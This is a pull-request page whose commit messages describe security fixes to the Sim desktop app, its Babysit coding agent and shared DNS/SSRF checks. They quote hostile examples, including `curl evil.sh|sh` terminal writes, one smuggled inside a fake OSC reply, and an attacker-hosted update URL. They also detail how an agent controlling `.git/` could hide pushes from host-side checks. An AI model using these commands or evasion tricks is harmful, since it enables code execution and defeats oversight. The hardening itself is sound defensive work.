ExecutionContext — five entry points that would each have to remember it, and nothing to catch the one that forgot — `createTimeoutAbortController` now records the deadline against the signal it creates, and `getRemainingExecutionMs(signal)` reads it back. The number cannot disagree with the timer that enforces it, because both are established in the one place the timeout exists, and every entry point already hands the executor that signal. `undefined` means unknown, not unlimited: Babysit keeps the old ceiling as its fallback for an untimed run. Job logs. The executor caps a response at 10 MB and throws rather than truncating, so a verbose CI job produced no diagnostic at all — and GitHub Actions reports null title/summary on every check run, leaving the agent a bare URL it has no tool to follow. The tool now sends `Range: bytes=-N` so the storage host returns only the tail. Since a suffix range is a request and not a guarantee, a 200 still takes the local slice. That made the old output dishonest, so the contract changed while the tool is still new and has one consumer: `totalCharacters` (which a ranged read cannot know) is replaced by `totalBytes`, sourced from the `Content-Range` total and null when unreported. A ranged body is trimmed at its first line break, since the byte window cuts mid-line and can split a multi-byte character. Generated docs. `github.mdx` was missing the `repo_full_name` the PR reader now returns, and regenerating deleted the head/base rows instead of adding it: `scripts/generate-docs.ts` only expands a spread at depth 0 of a const, and `PR_BRANCH_REF_OUTPUT` spread inline under `properties`. Restructured into a named properties const in types.ts, next to the shapes it belongs with, which the generator resolves the same way it already resolves BRANCH_REF_OUTPUT. Only the github.mdx hunk is committed. The generator is lossy elsewhere — it drops 126 lines of trigger configuration from jira.mdx — which is pre-existing drift for whoever owns that surface, not this branch. * fix(pi): refuse any Git-quoted path before the Babysit push `core.quotePath=false` stopped Git escaping non-ASCII bytes, but it closed one instance rather than the class. Git still quotes any path it cannot state on a single line — one containing a newline, a double quote, a backslash, or a tab — and such a path arrives with a leading `"`, so the `.github/` prefix test does not match it and the refusal is bypassed exactly as before. Refuse any quoted path outright. Unescaping instead would put a second implementation of Git's quoting rules on the security-relevant side of the push, and these characters have no legitimate place in a source path. * fix(pi): harden the Babysit push against a repository the agent controls Every host-side guard before the push was computed by a git invocation the agent could influence from inside `.git/`, which is never committed and so is covered by neither the config digest nor any content check. - Diff measurement ignored `.git/info/attributes`. One line saying `* -diff` reduced a 500 KB change to `Binary files differ`: verified locally as 119 bytes reported against a real 500,147, so the 200 KB cumulative bound never fired, and the `diff` block output — the only record of what an unattended, review-comment-steered agent pushed — recorded the same nothing. Both diffs now run `--text --no-ext-diff --no-textconv` with an empty `core.attributesFile`. - `rev-list --count` and `merge-base --is-ancestor` answered about replaced history. A `refs/replace/*` mapping makes a five-commit chain report one, while the pushed SHA stays real. `GIT_NO_REPLACE_OBJECTS` is now set for both the prepare and push commands. - The push asserted HEAD's *shape* — right branch, one commit past the pin, a descendant — every part of which survives `commit --amend` to a different tree. So the bounds, the quoted-path refusal, the `.github/` refusal and the reported diff could all describe a commit other than the one pushed. The validated SHA is now passed in and the refspec names it. - The digest comparison resolved `cat`, `sha256sum` and `cut` through `$PATH` in the same script that invokes git absolutely for exactly that reason, and was handed the expected digest in its own environment — so a shim could print it. The utilities are now absolute. - The clone left the token in `.git/config` when the pinned-SHA assertion failed, because `set -e` aborted before `remote set-url`. Reordered. - `changedFiles` reached the block output unscrubbed on the Babysit path, where Create PR already scrubs it. Names are agent-chosen. These reduce exposure; they do not bound it. E2B runs each command as `bash -l`, so a login-shell profile the agent writes executes ahead of the next host command with the token in its environment. Removing the token from the sandbox entirely means pushing host-side through the Git Data API, which the ≤50-file / ≤200 KB bound already makes practical. * fix(pi): correct switch coercion for draft and tidy Babysit reporting - `draft` had the same string-coercion bug that `babysitMode` was fixed for one line above it. A switch arrives as `'true'`/`'false'` when its value came through a variable reference, an API trigger payload, or a legacy serialized workflow, and `inputs.draft !== false` read `'false'` as truthy — opening a draft PR against the user's explicit setting. Both now go through one `isSwitchEnabled` helper that handles either polarity and takes the field's default, because the bug is opposite on each. - `mergePhaseDiffs` joined two separately-capped diffs without re-capping, so the combined output could reach twice MAX_DIFF_BYTES. - The cancellation poller's `logger.warn` was the one message in these files emitted unscrubbed. A Redis poll error is unlikely to carry a run credential, but a uniform invariant is easier to keep than a per-call-site argument. - Renamed `waitWithSandboxKeepalive` to `waitWithSandboxProbe`. E2B's `timeoutMs` counts down from create and is reset only by `Sandbox.setTimeout`, never by running a command, so `true` every four minutes proves liveness and buys no time. The old name invited raising the round wait on the assumption that waits extend the sandbox, which would let E2B reap it mid-wait. - Dropped a `{@link}` to a symbol in another module that was never imported. * docs(tools): record why the Babysit GitHub tools are registry-only The same branch added four user-facing GitHub tools through the full block-exposure recipe (v2 variant, tools.access, dropdown, subBlocks) and five internal ones through none of it. The distinction is deliberate — the five are called by the Pi Babysit handler via executeTool, which resolves against the registry rather than any block's access list — but nothing in CI encodes it, and `check-block-registry.ts` silently skips ids it cannot find. Worth stating because the trap is non-obvious: `GitHubV2Block` builds its access list by appending `_v2` to every entry, so adding one of these to `tools.access` without first adding a v2 variant would point the block at an id that does not exist. * docs(pi): document the clean stop reason and Babysit's fixed bounds The FAQ told readers to inspect `stopReason`, but the reference list never named `clean` — the one value that means the PR actually reached the goal state — and omitted `closed_or_merged`, `fork_pr`, and `check_read_failed`. Also records the bounds that were previously undiscoverable, split by how each one actually behaves: the reviewer-mention limits reject the block before the run starts, the 30-thread limit trims a round, and only the failing-check and cumulative-change limits produce `bounds_exceeded`. Corrects step 6, which claimed Babysit reruns CI. It never does — the push is what re-triggers checks. Co-Authored-By: Claude <noreply@anthropic.com> * docs(tools): correct and widen the registry-only note The previous note contrasted these five with "the user-facing tools added alongside them", implying this branch added both. It did not: the branch never touches blocks/blocks/github.ts, and github_create_pr_review came from #5471, which predates staging. The real contrast is with every user-facing GitHub tool in the registry. Also records the governance consequence, which was the part actually worth writing down: the permission-group deny list is built from tools.access, so an admin cannot deny these from the UI, and the allowedIntegrations gate keys on block type while Babysit calls them with a tool id alone. Co-Authored-By: Claude <noreply@anthropic.com> * fix(pi): size the sandbox to the run's own execution timeout The Pi sandbox lifetime was a global constant while the execution timeout is per-plan and per-mode, varying 18x (a free sync run gets 5 minutes, an async run 90). Every Pi sandbox asked E2B for the same sub-hour ceiling, so a five-minute run whose web process died left a sandbox billing for an hour. PI_SANDBOX_LIFETIME_MS could not close the gap: its floor is 31 minutes. resolvePiRunLifetimeMs lowers the provider ceiling to whatever the run's own deadline leaves, read from the signal that enforces it. Untimed runs and Daytona are unchanged, so no path gets a longer lifetime than before. The turn cap had to move with it. PI_TIMEOUT_MS reserved the clone and both finalize budgets out of the ceiling as a module constant; leaving it there while shrinking the lifetime would re-open the exact bug its docs describe — the sandbox dying first, taking the agent's finished work with it unpushed. It is now resolvePiTimeoutMs(lifetimeMs), and each backend resolves the lifetime once and feeds both, so the two cannot disagree. Two things this surfaced: Babysit had to read context.signal, not the cancellation signal it uses everywhere else. createCancellationSignal returns a fresh controller that only forwards aborts, so the deadline lookup answers "unknown" through it and would have silently left the longest-lived mode on the ceiling. Covered by a test that fails against the wrong signal. The E2B adapter tested lifetimeMs for truthiness, so a run resolving to zero would have had the key dropped and been handed the SDK's five-minute default - longer than it asked for, on the run least entitled to it. Options precede the callback in withPiSandbox so that adding one did not re-indent every caller's sandbox body. Co-Authored-By: Claude <noreply@anthropic.com> * fix(pi): raise the sandbox ceiling to the longest execution we allow The ceiling was pinned just under E2B's one-hour *Hobby* session limit. Sim is on Professional, where the limit is 24 hours, so the cap was enforcing a restriction no plan imposes — and it sat below the 90-minute async execution ceiling, which made the sandbox the binding constraint. A long Babysit run could be handed a 90-minute budget and still lose its sandbox at 59. Derived from getMaxExecutionTimeout rather than given a number of its own, so the sandbox always outlasts the longest run the platform permits and an operator who raises the async timeout does not have to know this file exists. The provider session limit stays as a clamp, so the derivation can never ask E2B for a lifetime it will refuse. Effect: ceiling 59 -> 90 min, and the agent turn it funds 29 -> 60 min, since resolvePiTimeoutMs reserves the clone and both finalize budgets out of it. Runs with a shorter deadline are unaffected — resolvePiRunLifetimeMs already lowers the ceiling to whatever the run itself has left. Co-Authored-By: Claude <noreply@anthropic.com> * docs(pi): describe the deadline-sized sandbox, not a fixed hour Both facts in this paragraph were stale: the lifetime is no longer a single sub-hour constant (it tracks the run's own remaining execution time), and the ceiling was justified by E2B's Hobby limit on an account that is on Professional. Co-Authored-By: Claude <noreply@anthropic.com> * fix(pi): share the sandbox sizing and lift E2B off the base default The two Pi images had drifted on exactly the axis their shared module exists to prevent. Daytona asked for 4 CPU / 8 GB; the E2B template asked for nothing and inherited its base default of 2 vCPU / 512 MB. That is a 16x memory gap between the provider Pi normally runs on and the one it fails over to, so a failover could be OOM-killed doing work that had just succeeded. 512 MB is too small independently of the drift: the Pi CLI is a Node process holding an LLM context, running beside a clone of the user's repository, and Node is OOM-killed rather than degraded at that ceiling — which reaches the user as an opaque agent failure. CPU and memory now come from pi-sandbox-packages.ts alongside the package lists. Disk stays in the Daytona renderer: its 10 GB per-sandbox cap is a hard provider limit with no E2B equivalent, so it is the one dimension where the images legitimately differ. E2B fixes resources at template build time, so this takes effect only when build-pi-e2b-template.ts is re-run — nothing builds these images in CI. Co-Authored-By: Claude <noreply@anthropic.com> * chore(pi): remove internal planning files * chore(pi): remove generated review commands * fix(pi): align babysit toggle visibility --------- Co-authored-by: Bill Leoutsakos <billleoutsakos@Bills-MacBook-Pro.local> Co-authored-by: Cursor <cursoragent@cursor.com> Co-authored-by: Bill Leoutsakos <billleoutsakos@Mac.localdomain> Co-authored-by: Vikhyath Mondreti <vikhyath@simstudio.ai> Co-authored-by: Claude <noreply@anthropic.com>
…ktop app (#6065) * fix(desktop): gate terminal writes and user activation on real OS input The `needsUserActivation` gate asked the renderer about `navigator.userActivation` via `frame.executeJavaScript`, which evaluates in the page's main world — the same world as the compromised page the gate exists to stop, which need only redefine `navigator.userActivation` to pass it. The channels with no native confirmation behind them (`browser-credentials:forget`, `forget-all`, `browser-agent:clear-browsing-data`) had that as their only protection, so a background script could wipe the saved-password vault. `terminal:write` had no second gate at all. It is a `send` channel, and the send branch ran only the origin and feature checks, so an XSS'd or hostile app origin reached arbitrary command execution: `terminal:start` for an id, then `write(id, 'curl evil.sh|sh\r')` — a raw PTY write submits on the trailing `\r`. The tool-authorization binding covers `terminal:execute-tool` only. Both now answer from the main process's own record of OS input. Chromium delivers every input event to main before the renderer sees it and page script cannot synthesize one, so unlike panel focus (`terminal:focused`, a renderer-asserted claim the same attacker can set) it is a real boundary. Passive pointer traffic is excluded — `mouseMove`/`mouseEnter`/`pointerMove` arrive whenever the cursor rests over the window. * fix(desktop): reclaim tmux run temp directories that outlive their wait window `startRun` makes a temp directory per run holding the tee target and the status file, and only its handle can remove it. `runInTmux` disposed the handle on the `outcome.done` branch only — on the still-running path the handle was a local that went out of scope, and nothing polls that run again (`read` captures the pane instead). With a 30s default wait, every longer command leaked its `/tmp/sim-tmux-run-*` directory for the life of the process while `tee` kept appending the full output to it. Handles for still-running commands are now held per terminal and reclaimed by the terminal's own lifecycle: `retire`/`dispose` release them all, and a new run on the same terminal first reaps any whose status file has since appeared. No reaper timer — the new-run path is already doing run bookkeeping. Live runs are left alone, since their tee is still writing there. Not a security issue: the directories are 0700 in the per-user tmpdir and tmux reaps the window itself. It is unbounded disk and inode growth. * fix(desktop): contain sign-in handoff failures when no window is available `handleCallback` awaited `deps.ensureMainWindow()` as its first statement with no try/catch, and index.ts dispatches it fire-and-forget as `void authFlow.handleCallback(callback)`. The wired `ensureMainWindow` throws `Main window unavailable`, and main registers no `unhandledRejection` handler, so a user who closed the window while signing in through their browser turned the loopback callback into an unhandled rejection. `beginLoginHandoff` had the same shape, so both are fixed rather than one. Both entry points now resolve the window through a helper that records the failure via the existing `handoff_redeem_fail` event and returns null, and the two `void` dispatch sites carry a `.catch()` backstop for anything the flows do not record themselves. Not attacker-triggerable: `onLogin` fires only after `matchesPending()` validates the state that only the user's own browser holds. * fix(desktop): validate manual-update download urls against the scheme allowlist `buildManualEngine` regex-extracted `url:` values from the manifest served by the configured origin and handed the first `.dmg`/`.zip` straight to `shell.openExternal` — the only openExternal in non-test code that skipped `openExternalSafe`, whose own docs state "Every openExternal in the app goes through here". A hostile feed, or a hostile self-host origin the user was tricked into configuring, could return `version: 999.0.0` plus `url: smb://attacker/share/x.dmg` or `file:///…`; both pass the suffix test, so a Download click handed an arbitrary scheme to the macOS URL handler, launching a registered protocol handler instead of downloading. Candidates are now filtered with `isSafeExternalUrl` at selection, so an unusable url is never advertised as an available update at all, and the open goes through `openExternalSafe` so the allowlist also holds at the sink. Loopback http stays allowed because `feedUrlForOrigin` accepts an http origin, so a self-host on localhost is legitimate. Reachability is capped: `detectSelfUpdateCapability` selects the signature-verifying electron-updater engine on Developer-ID builds, so the manual engine runs only on ad-hoc-signed local/CI prerelease builds. * fix(desktop): scope credential presence grants to the operation proven `provenUntil` was keyed on credentialId alone, and `authorizeForSecret` set and read it without reference to what the caller was about to do. `copyCredential` puts the plaintext on the clipboard from inside main and returns a boolean; `revealCredential` returns the string itself to the renderer. With one undifferentiated grant, approving a native "Copy password?" prompt silently authorized a plaintext reveal for the remaining 30s with no second prompt — the OS prompt is the only human-in-the-loop control on plaintext egress, and its label described something weaker than what it granted. Grants now carry their operation and are compared with an ordering rather than equality: reveal is the stronger claim, so a reveal grant still covers a later copy. That is deliberate, not laxity — it preserves the behaviour AUTH_GRACE_MS was designed for (the plaintext is already on screen, so re-prompting to put that same string on the clipboard buys nothing). Only the weaker-implies- stronger direction is closed. `operation` is required rather than optional so the compiler names every call site; it found both. Not addressed, deliberately: the non-biometric fallback still uses `defaultId: 1`, so a reflexive Enter confirms. That is a UX change and is left for a decision rather than folded in here. * fix(desktop): DNS-check agent subresources that are readable or execute The agent partition's onBeforeRequest ran the resolving guard for mainFrame and subFrame only; everything else fell to isBlockedRequestUrl, which sees literal IPs and returns false for any hostname by design. A public name with a static private A record therefore reached internal services from a page the agent was steered to — no rebinding required. The vectors that matter are the ones whose response comes back or runs: a WebSocket to an internal server reads data frames cross-origin because such servers commonly ignore Origin, and a script or xhr response executes in the page or is readable. Subresources now take isBlockedSubresourceUrl, with the verdict cached per host (30s TTL, bounded at 256 entries, oldest evicted) so this is not a lookup per asset. Images and fonts keep the synchronous path: high volume, not readable cross-origin, leaving the load/error timing oracle as the accepted residual. The exemption is expressed as what skips the check, not what gets it, so a resource type Chromium labels unexpectedly fails safe into the checked path — fetch is `xhr` on some versions and `other` on others, and an allowlist that missed the label in use would silently reopen the hole. Resolver errors fail closed, matching checkAgentUrl, and that verdict is not cached so a transient failure does not stick. The deliberate loopback carve-out is unchanged — isBlockedAddress already exempts it on both paths. * fix(desktop): close three credential-disclosure gaps in agent page functions Closed shadow roots. activeElementSecrecy is the only gate the driver consults before dispatching trusted CDP keystrokes, and it descended focus solely through `active.shadowRoot` — null by design for a closed root, while focus inside one retargets to the host, whose tagName is never INPUT. So a password field in a closed root reported 'safe', and Tab crosses closed boundaries natively. Now treated like a cross-origin frame. Detected by focusability rather than by tag: attachShadow accepts plain div/span/section as well as custom elements, so a tag test would miss half of them, whereas an element that is not focusable in its own right cannot be activeElement unless focus was retargeted out of a shadow tree. Multi-token autocomplete. isSecretField compared the whole attribute against 'current-password'/'new-password', but the spec allows space-separated detail tokens and WebAuthn recommends `current-password webauthn`. Those values fell through on exactly the type=text credential fields where autocomplete is the only signal. Now split into tokens, in all seven copies — the duplication is required by the `String(fn)` serialization contract, so consolidating was not an option. OTP and payment values. Deliberately NOT added to isSecretField: that helper also gates keystrokes, so folding them in would have stopped the agent completing a checkout or an OTP prompt — work it is legitimately asked to do. A separate predicate withholds only the value at the two emission sites, and the field is still reported with its real tag so the agent can fill it. * fix(desktop): hand the panel occlusion frame only to a user-driven renderer capturePanelSnapshot sent a JPEG of the agent browser's current page to the app renderer, which is content that renderer's own JS cannot otherwise read — the view is a separate process composited over the window. A compromised renderer can drive set-panel-bounds, panel-action navigate and set-panel-occluded itself, so it could aim the shared agent browser at a site with a persisted session and collect its pixels by script alone, bypassing the tool-call binding that guards browser_screenshot for exactly this reason. The frame is now withheld unless the main process has seen recent real input in that renderer, which is what an overlay opening actually represents. The flicker-prevention behaviour is untouched: an empty capture already returns before the send while `finally` still runs the occlusion, so "occlude without a placeholder" is a path the state machine already handles rather than a new one. * fix(desktop): act on adversarial review of the security fixes Six review agents went through the branch line by line. Several of the fixes were wrong, incomplete, or worse than the finding they closed. terminal:write was gated on the whole channel, which is a functional break, not a fix. That channel carries xterm.js's entire upstream stream, and much of it is not typing: the PTY solicits replies the terminal must answer unprompted — DSR cursor position (p10k/starship emit it every prompt), device attributes, focus reports set by tmux and vim. Now only a payload that can submit (one containing a newline) needs input behind it. Also stated plainly in the code: this is a mitigation. Text without a newline still lands in the line buffer where the user's own Enter submits it, and closing that needs the interactive path off the renderer surface, not a better gate. The panel occlusion gate is reverted outright. Occlusion is driven by any element marked data-native-surface-overlay, which includes tooltips (hover, and hover is deliberately not "deliberate input") and toasts (no input at all), so the common case regressed. Worse, the renderer only ever sets panelSnapshot and never clears it, so withholding a frame shows the PREVIOUS overlay's frame — the exact defect panel.test.ts was written to prevent — while the already-delivered frame stays readable. Net negative on both axes. The credential grant ordering is inverted to exact match. reveal was treated as dominating copy, but copy publishes plaintext to the macOS pasteboard: readable by every process, persisted by clipboard managers past the 30s clear, and synced to other devices by Universal Clipboard. The operations are incomparable. Update downloads are constrained to the release asset prefix, not just to https. The feed rewrites every entry to github.com/simstudioai/sim/releases/download/, so nothing legitimate is excluded — while scheme-only validation still admitted an attacker-hosted DMG that the download dialog walks the user through installing, which is worse than the protocol-handler launch originally fixed. The loopback exemption is dropped with it: no legitimate asset is ever http. State goes to 'error', not 'idle', so a blocked shell is not told it is current. Subresource DNS verdicts cache the promise, not the boolean. Caching only the result left every request arriving before the first lookup settled to start its own, and dns.lookup is getaddrinfo on the four-slot libuv threadpool shared with every fs call in main — a page naming hundreds of hosts could stall the settings write and the credential vault. Also: an eighth copy of the credential-token vocabulary in the browser preload was missed by the original commit while its comment claimed parity, so fill went blind to `current-password webauthn`; the OTP/payment readback zeroed valueLength and told the agent a successful fill was still empty, inviting a doubled code; tagName comparisons are upper-cased for XHTML; DIALOG/VIDEO/AUDIO/EMBED/OBJECT are focusable and no longer report opaque; drags count as input; a backwards clock step no longer satisfies a recency gate; and clearing cache or profile now clears resolved-host verdicts too. The closed-shadow residual is documented rather than closed: a host carrying tabindex or contenteditable still reports safe, and refusing those would block Enter and Space on ordinary <div tabindex="0"> buttons, since a closed root is indistinguishable from no root at all. * refactor(security): one DNS resolver for every SSRF guard, checking all addresses Five independent `dns.lookup` bodies existed — four in apps/sim (validateUrlWithDNS, the database-host check, MCP domain-check, 1Password Connect) and one in apps/desktop's agent url-guard. The four in apps/sim were copy-paste identical, and two properties diverged in ways that mattered: They classified ONE address. `resolved.find(family === 4) ?? resolved[0]` picked an address to pin and then judged only that one, so a host publishing both a public and a private record passed whenever the public record sorted first. That is record order, not policy, and validateUrlWithDNS alone is reached from ~70 call sites. Now every address is classified and the IPv4-preferred one is still what gets returned to pin — the pinning rationale (Happy Eyeballs fallback is stripped, and a pinned IPv6 address hangs on IPv4-only egress) is untouched. They had no deadline. Only the desktop copy bounded the lookup, so a hung resolver could hold an apps/sim request handler open indefinitely. The shared helper carries the 5s deadline, the swallowed late rejection, and the always cleared timer. `resolveHostAddresses` lands in `@sim/security/dns` as its own subpath, so the `node:dns` dependency reaches only the servers that import it — apps/realtime pulls `@sim/security/compare` and nothing else, and the prune graph is unchanged at 14 workspaces. Two lookups deliberately stay as they are: `createSsrfGuardedLookup` is a socket-connect `LookupFunction` that needs raw entries with their family and already validates every address, and desktop's per-host verdict cache keeps its own loopback policy on top of the shared resolver. The localhost carve-out is tightened as a consequence: it applies only when every record is loopback, so `localhost` that also resolves to the LAN no longer rides it. * fix(security): filter refused DNS records instead of failing the host validateUrlWithDNS rejected a host outright when any resolved address was private, while createSsrfGuardedLookup in the same file filters the private entries and connects to what remains. Filtering is equally safe — you pin a surviving public address — and rejecting broke a split-horizon resolver that answers with a private record alongside the public one, on a path with ~70 call sites and no operator opt-out. The pin is re-preferred over the surviving set so it can never be an address the filter just refused. Also from the review round: the browser preload's isPasswordField and findIdentifierField now split autocomplete tokens like the agent guards they claim parity with (a WebAuthn `current-password webauthn` field was invisible to credential fill); the subresource verdict cache holds the promise rather than the boolean, so the requests one page fires at a host share a lookup instead of each queueing its own getaddrinfo on the four-slot libuv threadpool that main's fs calls also use; trailing-dot hosts normalize to one cache entry; the resolver carries a distinct DnsTimeoutError so an outage is not reported as a missing host; and clearHostVerdictCache is wired into both the profile wipe and the cache-clear path, since a resolved-host classification is browsing-trail data. * fix(desktop): invert the terminal-write gate, and finish the XHTML normalization Three defects from the second review round, two of them in the previous round's corrections. The tagName upper-casing was half-applied and made things worse. `focusableItself` compared the normalized tag while the frame-descent branch thirty lines below still compared raw `active.tagName`. In an XHTML document — where tagName is lower-case for HTML elements — focus inside a CROSS-ORIGIN iframe therefore passed `focusableItself` (tag === 'IFRAME'), skipped the frame branch (active.tagName === 'iframe'), fell through, and returned 'safe': the verdict that authorizes trusted CDP keystrokes. Before the correction the same page returned 'opaque'. Now normalized once per loop body and used at every comparison, in readActiveElementState too. The submit gate enumerated the dangerous set, which is not a closed set. Besides carriage return and newline, 0x04 hands a partial line straight to a canonical-mode reader, and 0x0f is operate-and-get-next in bash and accept-line-and-down-history in zsh — both execute the current line — and a user's own inputrc or zle bindings can add more. Inverted: the replies the PTY solicits are enumerated (DSR, DA, focus reports, mouse reports, DCS/OSC) and everything else is gated, so a binding nobody thought of fails closed. The residual was understated. The window is satisfied by any input in the renderer — a keystroke in the chat, a scroll, a drag — not by the user's own Enter, so a looped payload lands the moment they touch anything, and while they type in the terminal it is open continuously. Said plainly now, with what closing it would actually take. Also: credential grants are keyed on credential AND operation, so exact match no longer prompts three times for reveal → copy → reveal when each was already proven; the panel.ts comment the revert deleted collaterally is restored, so the file leaves this branch untouched; updater's release-asset helpers no longer sit between feedUrlForOrigin's TSDoc and its function, and the asset path is a constant rather than parsed per manifest entry; ipc.test.ts freezes the clock so the recency windows cannot lapse mid-test on a loaded machine; and dead exports (isReleaseAssetUrl, SecretOperation), a vestigial executeJavaScript test field, and a shadowed loop binding are cleaned up. * refactor(desktop): simplify what the security fixes added Quality pass from four parallel reviews (reuse, simplification, efficiency, altitude). No behavior change; every gate is unchanged. Reuse. resolveHostAddresses now calls preferIpv4 instead of re-deriving the IPv4-first rule inline — one 106-line file had two implementations of the rule its own TSDoc says callers depend on. url-guard's three host-normalization sites had two different rules (only one stripped a trailing dot); they share guardHost now. os-auth's grace check gained the same backwards-clock guard input-activity already had, since it is the same kind of security window. And a hand-rolled IPv6 bracket strip in input-validation.server.ts now calls the unwrapIpv6Brackets already imported at the top of that file. Simplification. Credential grants are a nested Map rather than a composite string key, which deletes grantKey, the NUL sentinel, and SECRET_OPERATIONS — and makes revoke-by-credential a single delete, so a third operation added later cannot be missed by a revoke that forgot to enumerate it. The 15-term focusableItself chain is a local array. The 4-line token rationale was pasted above seven required copies of a 3-line expression; it is stated once now, and the duplicated isSensitiveValueField TSDoc likewise. PTY_REPLY is a labelled pattern table rather than six alternations on one line. tagName is upper-cased once per loop body instead of three times. A side-effecting .filter() is a loop. senderHasUserGesture's TSDoc no longer documents the implementation it replaced. Efficiency. The expired-first eviction sweep is removed: every entry gets the same TTL and a refreshed host is re-inserted at the back, so insertion order IS expiry order — the sweep could never find an entry the front eviction does not already hold, and scanned all 256 on every insert to learn that. preferIpv4 uses ipaddr.IPv4.isValid rather than isValid + parse, which parsed each address twice. dispose() no longer copies the key set to then get and delete per key. Also: validateDatabaseHost tests the allow-flag before scanning rather than after, the blocked-address log line reports the address actually blocked rather than an arbitrary record, and the preload's two autocomplete-token idioms became one reader. Deliberately not done, and why: moving PTY_REPLY into terminal/ and making the channel gate a predicate (changes the dispatcher shape on both arms); a consume-once submit gate (behavior change, needs a paste path); folding the three-way request dispatch into one guardAgentRequest export; hoisting the release-repo identity into packages/desktop-bridge, which is worth doing and would make electron-builder.yml, update-feed.ts and updater.ts one fact instead of three; a shared helper prelude in execInPage so isSecretField stops being seven copies; and a CDP-sourced focus verdict so the driver stops trusting a page-derived signal at all. The last three are the ones worth a follow-up. * docs(desktop): correct comments that no longer match the code Comment audit over the branch. ~75 lines removed, no rationale lost. Two of these were actively misleading and are the reason the pass was worth running. Three comments still described the terminal gate as newline-keyed after the predicate was inverted to a reply allowlist, including one asserting "a raw write only becomes command execution on the trailing \r" — which is exactly the claim the inversion exists to refute, since 0x04 and 0x0f submit too. The flag carried the same stale name and is now payloadNeedsDeliberateInput, since it gates every payload that is not a solicited reply, not only submits. A TSDoc block in the browser preload had been orphaned: the new autocompleteTokens doc was inserted between isPasswordField and its own comment, so the doc documented the wrong declaration. The rest is duplication. The token-membership rationale had been collapsed to six copies of a pointer at the wrong target — the module header explains the duplication, not the token rule — so the pointers are gone and the rationale stays where it is stated in full. The subresource-exemption reasoning was still in three places; session.ts now points at the two url-guard TSDocs that own it. The "every address is judged" reasoning was in four places when ResolvedHost already documents it for every consumer. Also trimmed: a paragraph restating RELEASE_ASSET_ORIGIN's own doc, the per-operation rationale repeated onto AUTH_GRACE_MS, a PTY TSDoc enumerating what the inline labels already label, and two lines inside one comment block that repeated each other. Kept deliberately, and judged rather than skipped: the MITIGATION and RESIDUAL notes, the String(fn) serialization contract in page-functions.ts's header, the 0x04/0x0f reasoning for running the allowlist the other way, the NTP-step and double-callback notes, and the test comments explaining why a fixture is shaped as it is. Those record decisions, which is what this repo comments. * fix(desktop): stop a command riding inside a fake PTY reply, and fail closed in XHTML Both findings are in this PR's own hardening. The reply allowlist accepted a control byte in its body. DCS and OSC used `[\s\S]*?` interiors, so a hostile renderer could wrap a whole command and its submit inside a sequence shaped like a reply — `ESC ] 0;x CR curl evil.sh|sh CR BEL` — and be waved through as machine-generated, skipping the deliberate-input gate entirely and reopening the path the gate exists to close. Bodies are printable-only now: a real DCS or OSC reply carries text terminated by ST or BEL and never a control byte. X10 mouse is bounded the same way, since its three bytes are offset by 32 and a control byte there is never legitimate either. isSecretField compared tagName raw in all seven copies, and isSensitiveValueField in both of its. tagName is lower-case for HTML elements in an XHTML document, so every credential field there read as ordinary — the value redaction and the keystroke refusal both failed open, on exactly the pages the predicate exists for. The earlier round upper-cased the frame and focusability comparisons and missed these nine. Normalized now, with the rule stated once in the module header rather than nine times. Both are covered by tests that fail against the previous form: a smuggled command in each of the three affected patterns, a genuine reply of each still forwarded, and a lower-case-tagName password field refused for both typing and snapshot disclosure. * fix(desktop): paste from main, and stop a reclaimed run dir printing into tmux Fixes the two behavioural regressions rather than shipping them documented. The context-menu paste could be silently dropped. It read the clipboard with `await navigator.clipboard.readText()` and then wrote the text, so the write landed after an await — and if that read outran the input-recency window (a permission prompt, a slow read) the terminal-write gate refused it with no error and no log, on an action the user had just asked for. Reading in main removes the window entirely, and is the direction Electron itself took: the `clipboard` module was removed from renderers under RFC 0019 so page content cannot reach the clipboard, and the documented pattern is to use it in the main process behind a narrow contextBridge method. So `terminal:paste` is a gated invoke channel that reads the clipboard itself. It needs a real gesture (the Paste click), but not the write gate — the bytes are the user's clipboard rather than the caller's, so a compromised renderer can only replay what was already copied instead of choosing it. `paste` is optional on the bridge and the renderer falls back to the old path, so a shell that predates it is unaffected. The tmux status write is silenced. Closing a terminal tab reclaims the run's temp dir while the command keeps going in tmux. `tee` is unaffected — POSIX lets it write on to the unlinked inode, and the space is reclaimed when it exits — but the command's trailing `printf > .../status` then failed into the pipeline and printed `No such file or directory` into the user's own tmux window, minutes after they closed the tab. `2>/dev/null` on that one redirect keeps the reclaim and drops the noise.
Contributor
|
Too many files changed for review. ( Bypass the limit by tagging |
|
The latest updates on your projects. Learn more about Vercel for GitHub. |
PR SummaryHigh Risk Overview Security-focused desktop changes tighten the embedded browser agent (multi-token Tables expose new authenticated routes to list, create, update, and delete saved views (filter/sort/column presets) per table. Outlook documentation and block wiring add calendar list/get/create/update/delete/respond operations via Microsoft Graph. Pi docs describe Babysit Mode (bot review rounds, check polling, permissions, partial Infra/misc: CI app build timeout 15→25 minutes; 1Password Connect and the agent URL guard share Reviewed by Cursor Bugbot for commit 4f776b7. Configure here. |
github-actions
Bot
added
the
requires-mothership-merge
|
![cursor[bot]](https://avatars.githubusercontent.com/in/1210556?s=60&v=4){kind=small}
There was a problem hiding this comment.
Cursor Bugbot has reviewed your changes using high effort and found 1 potential issue.
❌ Bugbot Autofix is OFF. To automatically fix reported issues with cloud agents, enable autofix in the Cursor dashboard.
Reviewed by Cursor Bugbot for commit 4f776b7. Configure here.
* fix(desktop): fix release * fix * Updates * chore(copilot): sync generated mothership contract mirrors (user_table select descriptions from mothership #373) * fix(desktop): canonicalize the apex origin in setOrigin, not just on load
* fix(ci): scope the Next.js build cache sticky disk per branch The Turbopack persistent build cache disk was keyed on github.event_name alone, so every open PR shared one mutable volume. A sticky disk mount clones the last committed snapshot and commits back last-write-wins, so each PR build restored a cache produced by a different branch. Measured on the same staging commit, two runs minutes apart: the single-writer push disk compiled in 9.3 min, the shared pull_request disk in 14.0 min. Across 22 recent runs, push builds land at 3.5-11 min and PR builds at 13.5-17.8 min. Correctness matters more than the minutes here. turbopackFileSystemCacheForBuild is beta and cross-commit restore is not a documented-supported mode - vercel/next.js#87283 reports stale HTML from a cache built at another commit, with no maintainer answer. Every other cache layer in this repo already isolates by branch: GitHub's cache cannot read sibling branches, and Blacksmith's cache product branch-scopes by default. Only this key didn't. Adds pre/post-build cache size reporting, because whether the cache was warm is otherwise invisible - the disk mounts either way and turbo buffers the build log. Adds ci-cache-cleanup.yml to delete a branch's disk when its PR closes, so per-branch disks track open PRs instead of accumulating at ~5 GB each. Also corrects the 105s-cold/22s-warm comment: those were local numbers and have never reproduced in CI. * refactor(ci): trim 